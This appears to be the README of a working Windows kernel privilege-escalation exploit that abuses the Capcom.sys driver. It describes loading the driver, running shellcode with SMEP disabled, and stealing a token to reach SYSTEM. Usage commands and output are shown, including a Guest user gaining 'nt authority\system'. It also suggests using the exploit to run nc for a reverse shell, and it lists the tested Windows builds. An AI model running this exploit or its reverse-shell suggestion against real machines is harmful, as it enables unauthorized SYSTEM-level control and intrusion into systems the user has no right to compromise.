This is a standalone exploit for a vulnerable feature in Capcom.sys. The feature is exposed through IOCTL and to execute an arbitrary user supplied function pointer with disabling SMEP. This exploit simply abuses the feature to perform token stealing to get the SYSTEM privileges, and then launches the command prompt with the elevated privilege.
For more details, see:
Load the Capcom.sys first, then execute this exploit.
> ExploitCapcom.exe LOAD C:\temp\capcom.sys
[*] Service Name: mtiyltjbàöŠ
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\REDACTED\????????????????????
NTSTATUS: c0000034, WinError: 0
> ExploitCapcom.exe EXPLOIT whoami
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 000002247B9B0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed
nt authority\system
This can also be used (for example) to run nc and gain a revshell.
- Capcom.sys (SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7)
- Windows 7 (x64) SP1 with the Guest privileges
- Windows 10 (x64) Build 14393 with the Guest privileges
This software is released under the MIT License, see LICENSE.